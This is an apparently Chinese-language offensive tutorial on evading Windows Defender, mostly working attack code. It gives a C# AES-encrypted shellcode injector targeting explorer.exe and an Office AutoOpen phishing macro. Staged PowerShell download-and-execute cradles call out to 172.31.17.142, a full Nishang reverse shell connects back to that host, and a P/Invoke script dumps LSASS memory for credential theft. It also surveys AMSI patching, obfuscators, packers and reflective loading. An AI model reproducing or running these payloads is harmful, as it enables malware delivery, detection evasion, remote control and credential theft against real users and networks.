对当前进程进行Memory Patching时AMSI将允许执行任何无文件恶意软件,包括工具(Mimikatz、Rubeus 等)或反向shell。
对于这个概念验证,这里使用evil-winrm Bypass-4MSI内置函数。
这里使用混淆器https://github.com/h4wkst3r/InvisibilityCloak
首先验证Defender是否会阻止默认构建的Certify
可以看到被拦截了
使用InvisibilityCloak混淆Certify代码
尝试运行混淆后的Certify
可以看到它现在可以正常工作了
对于C、C++、Rust等语言,可以利用编译时混淆来隐藏一些行为
根据语言的不同,可能存在不同的方法。由于我的恶意软件开发首选 C++,因此我将解释我尝试过的两种方法:LLVM混淆和模板元编程。
对于LLVM混淆,目前最大的工具是Obfuscator-LLVM。该项目是LLVM的一个分支,它通过混淆生成的二进制文件来增加一层安全性。当前实现的新增功能如下:
· 指令替换。混淆汇编指令以在更大的计算复杂性下产生等效行为。
· 伪造的控制流。添加垃圾指令块以隐藏原始指令代码流。
· 控制流扁平化。使分支和跳转更难预测,以隐藏有意的指令流。
总之,该工具生成的二进制文件通常更难被AV/EDR 静态分析。
模板元编程是一种C++技术,允许开发人员创建在编译时生成源代码的模板。允许在每次编译时生成不同的二进制文件,创建无限数量的分支和代码块等。
用于此目的的两个公共框架如下:
https://github.com/andrivet/ADVobfuscator
https://github.com/fritzone/obfy
这里使用第二个,进行测试。
此外,使用TheD1rkMtr 的 AMSI_patch作为默认二进制文件混淆,它是一个非常简单的 C++ 项目。https://github.com/TheD1rkMtr/AMSI_patch
默认函数树
混淆后的函数树
混淆后难以静态分析,因为有许多嵌套函数
混淆后的垃圾函数
这些都是简单的垃圾函数,但对于隐藏真实行为非常有用。
再次测试。
一旦你已经生成了二进制文件,可以选择以下几种方式:
· 混淆二进制文件的汇编指令。
· 打包二进制文件。
· 加密二进制文件的内容以在运行时对其进行解密。
· 或者,将其转换为 shellcode 以供以后操作和注入。
从第一个开始,我们有几个可用的开源选项,例如:
https://github.com/weak1337/Alcatraz
https://github.com/a0rtega/metame
https://github.com/ropfuscator/ropfuscator(目前仅适用于 Linux)
Alcatraz通过多种方式修改二进制程序集来工作,例如混淆控制流、添加垃圾指令、取消优化指令以及在运行时之前隐藏真正的入口点。
Metame的工作原理是使用随机性在每次运行时生成不同的程序集
ROPfuscator的工作原理是利用面向返回的编程从原始代码构建ROP小工具和链,从而将原始代码流隐藏在静态分析中,甚至可能是动态的,因为启发式方法更难分析连续的恶意调用. 下图更好地描述了整个过程。
打包器的基本架构如下图。
在这个过程中,给定的打包工具将一个本地编译的PE嵌入到另一个可执行文件中,该文件包含解压原始内容并执行它所需的信息。
此外,PE加密器通过加密可执行文件的内容并生成一个在运行时将解密原始PE的可执行文件来工作。这对于反病毒软件非常有用,因为它们大多数依赖于静态分析而不是运行时行为(如EDR)。因此,完全隐藏可执行文件的内容直到运行时可能非常有效,除非反病毒软件已经针对加密/解密方法生成了签名。https://github.com/icyguider/nimcrypt
最后,我们还可以将本地PE转换回Shellcode。例如,可以使用hasherezade的pe_to_shellcode工具进行转换。
https://github.com/hasherezade/pe_to_shellcode
现在已经解释了从可执行文件开始规避反病毒软件的所有可能方法,我想提到将所有步骤合并到一个工具中的框架:KlezVirus的inceptor。这个工具可能会变得非常复杂,对于简单的Defender规避并不需要大部分步骤,但可以通过以下图示更好地解释:
架构
https://github.com/klezVirus/inceptor
与以往的工具不同,Inceptor允许开发者创建自定义模板,以便在工作流程的每个步骤中修改二进制文件,即使为公共模板生成了签名,您也可以拥有自己的私有模板来绕过EDR hooks,修补AMSI / ETW,使用硬件断点,使用直接系统调用来代替内存中的DLL等。
Shellcode 注入是一种非常著名的技术,它包括在给定的进程中插入/注入无关的Shellcode,以最终在内存中执行它。这可以通过多种方式实现。请参阅下图,
对于本文,我将讨论和演示以下方法:
使用Process.GetProcessByName定位资源管理器进程并获取PID。
通过具有0x001F0FFF访问权限的OpenProcess打开进程。
通过VirtualAllocEx在explorer进程中为我们的shellcode分配内存。
通过WriteProcessMemory在进程中写入shellcode 。
最后,创建一个线程,通过CreateRemoteThread执行我们的地址无关代码 (position-independent shellcode)。
当然,拥有包含恶意shellcode的可执行文件很容易被 Defender标记。为了解决这个问题,我们将首先使用AES-128 CBC和PKCS7填充对shellcode进行加密,以隐藏其真实行为和组成,直到运行时。
首先,我们需要生成初始shellcode。使用msfvenom的简单TCP反向shell。
使用以下 C# 代码,可以随意以其他方式(例如,cyberchef)对其进行加密。
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace AesEnc
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] aesshell = EncryptShell(buf, Key, IV);
StringBuilder hex = new StringBuilder(aesshell.Length * 2);
int totalCount = aesshell.Length;
foreach (byte b in aesshell)
{
if ((b + 1) == totalCount)
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
}
Console.WriteLine(hex); }
private static byte[] GetIV(int num)
{
var randomBytes = new byte[num];
using (var rngCsp = new RNGCryptoServiceProvider())
{
rngCsp.GetBytes(randomBytes);
}
return randomBytes;
}
private static byte[] GetKey(int size)
{
char[] caRandomChars = "[email protected]#$%^&*()".ToCharArray();
byte[] CKey = new byte[size];
using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
{
crypto.GetBytes(CKey);
}
return CKey;
}
private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return AESEncryptedShellCode(CShellcode, encryptor);
}
}
}
private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
{
using (var msEncShellCode = new MemoryStream())
using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(CShellcode, 0, CShellcode.Length);
cryptoStream.FlushFinalBlock();
return msEncShellCode.ToArray();
}
}
}
}
注入器的代码如下
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace AESInject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
static void Main(string[] args)
{
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
byte[] DShell = AESDecrypt(buf, Key, IV);
StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
foreach (byte b in DShell)
{
hexCodes.AppendFormat("0x{0:x2},", b);
}
int size = DShell.Length;
Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
} private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return GetDecrypt(CEncryptedShell, decryptor);
}
}
}
private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
}
执行
获取到shell
https://github.com/TheWover/donut是非常有效的地址无关代码 (position-independent shellcode)生成器。
执行
生成 shellcode 后,我们现在可以为此目的使用我们喜欢的任何注入器。donut最新版本已经带有一个本地和一个远程注入器
Mimikatz、Rubeus、Certify、PowerView、BloodHound 等工具在单个包中实现了很多功能,但是也很容易被识别,那么我们可以尝试将功能分离出来。比如提取mimikatz的转出lsass的功能
https://github.com/Cracked5pider/LsaParser
第二个示例,假设我们的目标是枚举整个 Active Directory 域中的共享。为此,我们可以使用 PowerView 的 Find-DomainShare模块,但是,它是最著名的开源工具之一,很容易被识别并删除,因此,为了更加隐蔽,我们可以基于本机Windows API开发自己的共享查找器工具,如下所示。
#include <windows.h>
#include <stdio.h>
#include <lm.h>
#pragma comment(lib, "Netapi32.lib")
int wmain(DWORD argc, WCHAR* lpszArgv[])
{
PSHARE_INFO_502 BufPtr, p;
PSHARE_INFO_1 BufPtr2, p2;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i,denied=0;
switch (argc)
{
case 1:
wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
return 1;
default:
break;
}
wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
wprintf(L"-------------------------------------------------------------------------------------\n\n");
for (DWORD iter = 1; iter <= argc-1; iter++) {
lpszServer = lpszArgv[iter];
do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p = BufPtr;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
p++;
}
NetApiBufferFree(BufPtr);
}
else if (res == ERROR_ACCESS_DENIED) {
denied = 1;
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
if (denied == 1) {
do
{
res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p2 = BufPtr2;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark, lpszServer);
p2++;
} NetApiBufferFree(BufPtr2);
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
denied = 0;
}
wprintf(L"-------------------------------------------------------------------------------------\n\n");
}
return 0;
}
自定义工具可能是一项非常耗时的任务,并且需要非常深入的了解 Windows 内部知识,但它有可能是最有效的方法。因此,如果其他方法都失败了,应该考虑到这一点。因为可以控制并自定义API调用、断点、顺序、垃圾数据/指令、混淆等。
将有效载荷分成渐进阶段不是新技术,攻击者通常使用它来逃避初始静态分析的恶意软件。这是因为真正的恶意负载将在稍后阶段被检索和执行,静态分析可能没有机会发挥作用。
对于此PoC,这里展示一种非常简单但有效的方法来暂存反向 shell 负载,例如,可用于使用以下宏创建恶意 Office 文件:
执行第一阶段的宏
Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub
这不会被 AV 静态检测到,因为它只是在执行一个看似良性的命令。
由于我没有安装Office,这里通过在PowerShell脚本中手动执行上述命令来模拟网络钓鱼过程。
本节的概念证明如下:
stage0.txt(这将是在网络钓鱼宏中执行的命令)
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")
stage1.txt
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")
stage2.txt
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
) try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
ref.txt 是一个简单的通过进程修补来执行PowerShell
AMSI 绕过,在这种情况下,PowerShell脚本的扩展名无关紧要,因为它们的内容将作为文本简单地下载并使用Invoke-Expression(IEX 的别名)调用。
然后我们可以执行完整的 PoC,如下所示:
受害者从我们的 C2 下载
获取反向 shell
您可能还记得在第一部分中,我们在修补内存中的AMSI后执行了Mimikatz,以展示Defender停止扫描我们进程的内存。这是因为.NET公开了System.Reflection.Assembly API,我们可以使用它在内存中反射加载和执行.NET程序集
这对于攻击目的非常有用,因为在PowerShell中可以使用 .NET,我们可以在脚本中使用它在内存中加载整个二进制文件,以绕过Windows Defender的静态分析。
反射加载模板
function Invoke-YourTool
{
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
[ClassName.Program]::main([string[]]$args)
[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results
}
Gzip仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数以将二进制文件加载到内存中. 之后,我们可以简单地用“[ClassName.Program]::main([string[]]$args)”调用它的主函数
这个仓库不仅包含每个著名工具的大量预构建脚本,还包含从二进制文件创建您自己的脚本的说明:
https://github.com/S3cur3Th1sSh1t/PowerSharpPack
反射加载 Mimikatz
P/Invoke,即平台调用,允许我们访问未管理的本地Windows
DLL中的结构、回调和函数,以便访问本机组件中可能无法直接从.NET中获得的较低级别API。
我们可以利用fortra的nanodump工具
https://github.com/fortra/nanodump
但是它容易被识别,这时可以利用P/Invoke编写一个PowerShell脚本来执行相同的操作,
我们可以修补 AMSI 以使其在这样做时变得不可检测。
编写以下代码
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@
$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@
$processId ="788"
$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)
if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()
$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
} $dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}
在此示例中,我们首先通过Add-Type从Dbghelp.dll导入MiniDumpWriteDump函数,然后从 kernel32.dll 导入 OpenProcess 和 CloseHandle。然后最终得到 LSASS 进程的句柄并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件
完整的 PoC 如下:
使用 impacket-smbclient 下载
使用 pypykatz 在本地解析 MiniDump 文件